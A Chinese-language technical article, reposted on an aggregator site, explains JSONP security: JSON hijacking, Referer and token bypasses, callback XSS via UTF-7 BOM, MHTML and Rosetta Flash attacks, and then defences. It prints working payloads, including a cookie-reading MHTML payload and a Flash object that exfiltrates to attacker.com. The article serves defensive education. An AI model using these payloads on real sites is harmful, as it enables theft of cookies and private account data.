當(dāng)前位置：首頁 > 前端技术 > javascript >内容正文

javascript

【JSONP技巧拓展】————2、JSONP 安全攻防技术

發(fā)布時間：2024/1/1 javascript 30 豆豆

生活随笔收集整理的這篇文章主要介紹了【JSONP技巧拓展】————2、JSONP 安全攻防技术小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

關(guān)于 JSONP

JSONP 全稱是 JSON with Padding ，是基于 JSON 格式的為解決跨域請求資源而產(chǎn)生的解決方案。他實現(xiàn)的基本原理是利用了 HTML 里 <script></script> 元素標(biāo)簽，遠(yuǎn)程調(diào)用 JSON 文件來實現(xiàn)數(shù)據(jù)傳遞。如要在 a.com 域下獲取存在 b.com 的 JSON 數(shù)據(jù)( getUsers.JSON ):

{"id" : "1","name" : "知道創(chuàng)宇"}

那么他們可以首先通過 JSONP 的“ Padding ”這個 getUsers.JSON 輸出為：

callback({"id" : "1","name" : "知道創(chuàng)宇"});?

對于實際應(yīng)用過程中 callback 的名稱在后臺實現(xiàn)是動態(tài)輸出的。如上面例子在 PHP 實現(xiàn)：

<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "知道創(chuàng)宇"});';
?>

然后在 a.com 使用 <script> 進(jìn)行遠(yuǎn)程調(diào)用,在 Jquery 里可以直接這樣調(diào)用：

然而，安全問題一直都是伴隨著業(yè)務(wù)發(fā)展而出現(xiàn)的，JSONP 的出現(xiàn)同樣帶來了各種各樣的安全問題。本文對 JSONP 實現(xiàn)過程中給帶來的安全攻防問題做了一些簡單介紹。

一、JSON 劫持

JSON 劫持又為“ JSON Hijacking ”，最開始提出這個概念大概是在 2008 年國外有安全研究人員提到這個 JSONP 帶來的風(fēng)險。其實這個問題屬于 CSRF（ Cross-site request forgery 跨站請求偽造）攻擊范疇。當(dāng)某網(wǎng)站聽過 JSONP 的方式來跨域（一般為子域）傳遞用戶認(rèn)證后的敏感信息時，攻擊者可以構(gòu)造惡意的 JSONP 調(diào)用頁面，誘導(dǎo)被攻擊者訪問來達(dá)到截取用戶敏感信息的目的。一個典型的 JSON Hijacking 攻擊代碼：

這個是在烏云網(wǎng)上報告的一個攻擊例子（ WooYun-2012-11284 ）http://www.wooyun.org/bug.php?action=view&id=11284 當(dāng)被攻擊者在登陸 360 網(wǎng)站的情況下訪問了該網(wǎng)頁時，那么用戶的隱私數(shù)據(jù)（如用戶名，郵箱等）可能被攻擊者劫持。

雖然這種攻擊已經(jīng)出現(xiàn)了好幾年了，但是目前在大的門戶網(wǎng)站都還普遍存在的，而且由于安全意識問題很多官方可能還不認(rèn)為這是一個安全問題，上面提到的例子其實當(dāng)時在烏云網(wǎng)站上 360 是忽視了的！

當(dāng)然還是隨著安全意識和技術(shù)水平的提高，很多甲方公司開始重視此類安全問題，開始著手研究解決方案。其中一個方案就是驗證 JSON 文件調(diào)用的來源（ Referer ）。這個方案是主要利用了 <script> 遠(yuǎn)程加載 JSON 文件時會發(fā)送 Referer ，在網(wǎng)站輸出 JSON 數(shù)據(jù)時判斷 Referer 是不是白名單，合法的就可以進(jìn)行防御！這個方法是可行的，但是具體實現(xiàn)過程中又容易導(dǎo)致 2 總常見的邏輯問題：

1、Referer 過濾（正則）不嚴(yán)謹(jǐn)

比如 http://www.qq.com/login.php?calback=cb 輸出數(shù)據(jù)時,使用了 Referer 過濾。但是可惜過濾的時候只過濾了 Referer 里是否存在 qq.com 這樣的關(guān)鍵詞，那么攻擊者可以聽過構(gòu)造 URL：http://www.qq.com.attack.com/attack.htm ?或者 http://www.attack.com/attack.htm?qq.com 這樣的頁面來發(fā)起攻擊實現(xiàn)繞過 Referer 防御。

2、空 Referer

在很多情況下，開發(fā)者在部署過濾 Referer 來源時，忽視了一個空 Referer 的過濾。一般情況下瀏覽器直接訪問某 URL 是不帶 Referer 的，所以很多防御部署是允許空 Referer 的。恰恰也就是這個忽視，導(dǎo)致了整個防御的奔潰。因為在通過跨協(xié)議調(diào)用 js 時，發(fā)送的 http 請求里 Referer 為空！跨協(xié)議調(diào)用的一個簡單例子：

代碼里我們使用 <iframe> 調(diào)用 javscript 偽協(xié)議來實現(xiàn)空 Referer 調(diào)用 JSON 文件。
另外一種防御手段就是通過隨機(jī) token 來防御，這個技術(shù)在 qq 的網(wǎng)站上應(yīng)用比較多，如：http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=[QQ號碼]&g_tk=[隨機(jī)token] 來輸出 JSON ，同樣這個方案也是效的，但是同樣可以出現(xiàn)防御實現(xiàn)的不嚴(yán)謹(jǐn)問題。如這個 token 可以暴力。如：

function?_Callback(o) {
? alert(o.items[0].uin);
}
for?(i = 17008; i < 17009; i++) {?//暴力循環(huán)調(diào)用
?? ?getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="?+ i);
}

當(dāng)然以上的方式是單純的針對“ JSON 劫持”本身的來展開的各種攻防戰(zhàn)。但是在現(xiàn)實里，很多漏洞是配合組合來實現(xiàn)突破的，比如上面提到的限制 Referer+ 部署隨機(jī) token 實現(xiàn)都很完美，無懈可擊！但是只要在該網(wǎng)站上出現(xiàn)一個 XSS 漏洞，那么利用這個 XSS 漏洞可能讓你的防御體系瞬間崩潰！另外這里順帶提一點：以上的方法是一些通用實現(xiàn)“ JSON 劫持”的方法，但是現(xiàn)實中某些瀏覽器的一些特有的處理機(jī)制（如 CSS 加載，錯誤信息顯示等），導(dǎo)致一些類似“ JSON 劫持”（攻擊對象不一定是 JSON ）的攻擊！

二、Callback 可定義導(dǎo)致的安全問題

在本文開頭介紹 JSON 原理的就說明了可能是為了方便前段開發(fā)調(diào)用，一般輸出時都是可定義的，開頭提到的 php 實現(xiàn)的代碼：

<?php
//getUsers.php
$callback?=?$_GET['callback'];
print?$callback?.?'({"id" : "1","name" : "知道創(chuàng)宇"});';
?>

也就是這個可定義化的 callback 名輸出點又導(dǎo)致了各種安全問題，當(dāng)然嚴(yán)格上來說里面提到的具體數(shù)據(jù)輸出也是可以利用的，只是本文重點強(qiáng)調(diào)的 callback 這個輸出點。

1、Content-Type 與 XSS 漏洞

在早期 JSON 出現(xiàn)時候，大家都沒有合格的編碼習(xí)慣。再輸出 JSON 時，沒有嚴(yán)格定義好 Content-Type（ Content-Type: application/json ）然后加上 callback 這個輸出點沒有進(jìn)行過濾直接導(dǎo)致了一個典型的 XSS 漏洞，上面演示的 getUsers.php 就存在這個問題：

http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>

對于 Content-Type 來說早期還有一部分人比較喜歡使用 application / javascript ?而這個頭在 IE 等瀏覽器下一樣可以解析 HTML 導(dǎo)致 XSS 漏洞。對于這種類型的漏洞，防御主要是從兩個點去部署的：

a、嚴(yán)格定義 Content-Type: application / json

這樣的防御機(jī)制導(dǎo)致了瀏覽器不解析惡意插入的 XSS 代碼（直接訪問提示文件下載）。但是凡事都有個案，在 IE 的進(jìn)化過程中就出現(xiàn)過通過一些技巧繞過 Content-Type 防御解析 html ，比如在 IE6、7 等版本時請求的 URL 文件后面加一個 /x.html 就可以解析 html （ http://127.0.0.1/getUsers.php/x.html?callback=<script>alert(/xss/)</script> ?）
具體參考：http://hi.baidu.com/hi_heige/item/f1ecde01c4af3ed61ef04646

b、過濾 callback 以及 JSON 數(shù)據(jù)輸出

這樣的防御機(jī)制是比較傳統(tǒng)的攻防思維，對輸出點進(jìn)行 xss 過濾。又是一個看上去很完美的解決方案，但是往往都是“事與愿違”。當(dāng)年( 2011 年)一個 utf7-BOM 就復(fù)活了 n 個 XSS 漏洞。這種攻擊方式主要還是存在與 IE 里(注在 IE 較新版本里已經(jīng)“修復(fù)”) 也就是當(dāng)我們在 callback 點輸出 +/v8 這樣的 utf7-BOM 的時候， IE 瀏覽器會把當(dāng)前執(zhí)行的編碼認(rèn)為是 utf7 ,所以我們通過 utf7 提交的 XSS 代碼會被自動解碼并執(zhí)行。如：

http://127.0.0.1/getUsers.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA

8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApA

DsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHk

APgA8AC8AaAB0AG0APg-%20

其中：

%2B%2Fv8

%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAY

wByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAv

AHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8

AaAB0AG0APg-%20

URLdecode 為：

+/v8

+ADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAY

wByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADs

APAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkA

HkAPgA8AC8AaAB0AG0APg-

其中 +/v8 ?為 utf7-BOM ，后面的為我們注入的 utf-7 編碼后的 XSS 代碼的：

<htm><body><script>alert(1);</script></body></htm>

[參考：http://hi.baidu.com/hi_heige/item/357831ab6932239a14107346]

這次利用 utf7-BOM 的方法是一個非常有代表性的通用方法，IE 后面的升級也是做一定的防御，另外在開發(fā)者角度也給出了防御方法直接強(qiáng)制指定 Content-Type里的編碼 ( Content-Type: application/json; charset=utf-8 ) ?對于現(xiàn)在的瀏覽器上，雖然沒有比較通用的技巧，但是對于開發(fā)者本事過濾的機(jī)制一樣可能存在各種繞過的可能。

看來上面提到的 a 和 b 兩點的防御缺一都可能出問題，那么我們使用“ a + b 方案”，也就是兩者都上是不是很安全了不會出現(xiàn)問題了呢？一切皆有可能，我們拭目以待！

三、其他文件格式（ Content-Type ）與 JSON

1、MHTML 與 JSONP

在 2011 年 IE 曾經(jīng)出現(xiàn)過一個聽過 mhtml 協(xié)議解析跨域的漏洞：MHTML ?Mime-Formatted Request Vulnerability ?( CVE-2011-0096 ) ?https://technet.microsoft.com/library/security/ms11-026 而當(dāng)時的一個常見利用就是利用 JSONP 調(diào)用機(jī)制里的 Callback 函數(shù)名輸出點：

Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d

WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2ll

KTsNCmZ1bmN0aW9uIGNyb3NzY

29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93I

DogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5

kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjc

m9zc2Nvb2tpZSgpIiwxMDAwKTsNC

jwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>

[詳見：《Hacking with mhtml protocol handler》http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt]

這個點就充分利用了 callback 輸出點直接輸出一個 mhtml 文件格式，然后利用 <iframe> 調(diào)用 mhtml 標(biāo)簽解析并執(zhí)行 html 及 javascript 代碼，這也就是一個通用性的 XSS 漏洞（ UXSS ），隨后微軟緊急推出了解決方案及漏洞補(bǔ)丁程序！而對于開發(fā)者防御而已在微軟推出安全補(bǔ)丁之前這個漏洞影響 Google 等國際大型網(wǎng)站，到時 Google 為了防御這類補(bǔ)丁，啟用的防御措施是，在 JSON 輸出 callback 時，在文件開頭增加了多個換行回車讓遠(yuǎn)程 mhtml 調(diào)用時解析失敗。

在攻擊角度來說，這個充分利用了計算機(jī)體系里各種文件格式識別機(jī)制，這個也和 Callback 直接在 json 文件開頭輸出的突然優(yōu)勢！在這個思維的引導(dǎo)下，后面還出現(xiàn)各種各樣的文件格式加載帶來的安全問題，比如 CSS 文件格式加載導(dǎo)致的類“ JSON 劫持”的安全問題、JS 加載及各種文件格式編碼帶來的安全問題等等。歷史進(jìn)程里往往會出現(xiàn)各種驚人的相識，JSONP 與文件格式的各種傳奇還在上演...

2、FLASH 與 JSONP

該來的始終會來，只是沒想到相似的場景上演到這么快!就在最近的一次 flash 安全更新 ( security bulletin APSB14-17[http://helpx.adobe.com/security/products/flash-player/apsb14-17.html] ) 里修復(fù)了一個安全漏洞：

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs ( CVE-2014-4671 ).

而這個漏洞因影響到 Google、Facebook、Tumblr 等國際大網(wǎng)站而倍受國內(nèi)外媒體的關(guān)注。而這個攻擊技術(shù)就和 JSONP 的 callback 點息息相關(guān). 這個問題主要存在 HTML 通過<embed>、<object>調(diào)用遠(yuǎn)程 flash 文件時，會直接忽視 Content-Type 而 JSONP 的 callback 輸出一般都在文件開頭就輸出，那么完全可以通過 callback 點輸出一個 swf 的文件，然遠(yuǎn)程 html 調(diào)用并運(yùn)行 swf 文件。如：

// from http://50.56.33.56/blog/?p=242

var?flashvars = {};

var?params = {};???????????????????

var?attributes = {};

var?url="http://127.0.0.1/getUsers.php?callback=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF
%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C
5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%
2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D
%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%
BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%
145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%
CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";

swfobject.embedSWF(url,?"content",?"400",?"200",?"10.0.0",?"expressInstall.swf", flashvars, params, attributes);

</script>

這樣早在 2012 年提出的通過 callback 輸出的 swf 文件流，的實際效果是在被攻擊的網(wǎng)站上存放了一個惡意的 swf 文件，而 html 遠(yuǎn)程調(diào)用這個 swf 文件可以直接導(dǎo)致 CSRF 攻擊.
[具體上傳 flash 文件帶來的 CSRF 攻擊請參考我寫的《 Flash+Upload Csrf ?攻擊技術(shù)》 http://blog.knownsec.com/2014/06/flashupload_csrf_attacking/]

細(xì)心的朋友可能發(fā)現(xiàn)上面代碼里 callback 輸出的 swf 文件流里存著各種各樣的特殊字符，這個對于上面提到的“ b、過濾 callback 以及 JSON 數(shù)據(jù)輸出”防御方案直接給攔截了，對于 Goolge 、Facebook 這樣久經(jīng)考驗的大網(wǎng)站來說，防御應(yīng)該不在話下！

在 flash 的更新“ security bulletin APSB14-17 ”發(fā)布后，該漏洞發(fā)現(xiàn)者給出了詳細(xì)的漏洞細(xì)節(jié)其中一個亮點就是作者實現(xiàn)了一個純 alphanumeric 輸出的 swf 文件的方法，如：

data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0

333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU

5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0Ciud

IbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHe

RjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YN

qdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sD

DGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAH

ZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzf

HIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnU

U5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDD

GDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwX

HLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOX

HeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0U

p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0

333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnn

nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03w

DDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTH

No4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDG

wGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqee

orHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHH

voXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3

SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooooooooooooooo

oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo8

88888880Nj0h"

style="display: none">

<param name="FlashVars"

value="url=https://vulnerable.com/account/sensitive_content_logged_in

&exfiltrate=http://attacker.com/log.php">

</object>

具體請參考：http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

所以對于純 alphanumeric 的輸出來說，那些針對 XSS 的過濾顯然是可以直接忽略，這個漏洞也就是證明了上面我們提到的“ a + b 方案”直接繞過了！

四、防御

通過上面的攻防對抗演練，很多開發(fā)者可能會感覺有點悲劇的味道，各種防御機(jī)制好像都有辦法繞過。這里我想到一個真理：沒有絕對的安全！那么我們防御的意義在哪里呢？我認(rèn)為防御的意義就是雖然沒辦法讓開發(fā)的程序最安全（絕對安全），但是可以讓它更安全！提高攻擊者的技術(shù)成本的門檻是安全防御的一個主要的重要的方向。我們回到具體的 JSONP 防御上可以總結(jié)如下幾點：

1、嚴(yán)格安全的實現(xiàn) CSRF 方式調(diào)用 JSON 文件：限制 Referer 、部署一次性 Token 等。
2、嚴(yán)格安裝 JSON 格式標(biāo)準(zhǔn)輸出 Content-Type 及編碼（ Content-Type : application/json; charset=utf-8 ）。
3、嚴(yán)格過濾 callback 函數(shù)名及 JSON 里數(shù)據(jù)的輸出。
4、嚴(yán)格限制對 JSONP 輸出 callback 函數(shù)名的長度(如防御上面 flash 輸出的方法)。
5、其他一些比較“猥瑣”的方法：如在 Callback 輸出之前加入其他字符(如：/**/、回車換行)這樣不影響 JSON 文件加載，又能一定程度預(yù)防其他文件格式的輸出。還比如 Gmail 早起使用 AJAX 的方式獲取 JSON ，聽過在輸出 JSON 之前加入 while(1) ;這樣的代碼來防止 JS 遠(yuǎn)程調(diào)用。

轉(zhuǎn)自：https://www.cnblogs.com/52php/p/5677775.html

總結(jié)

以上是生活随笔為你收集整理的【JSONP技巧拓展】————2、JSONP 安全攻防技术的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。

上一篇： Prometheus-----2
下一篇： gradle idea java ssm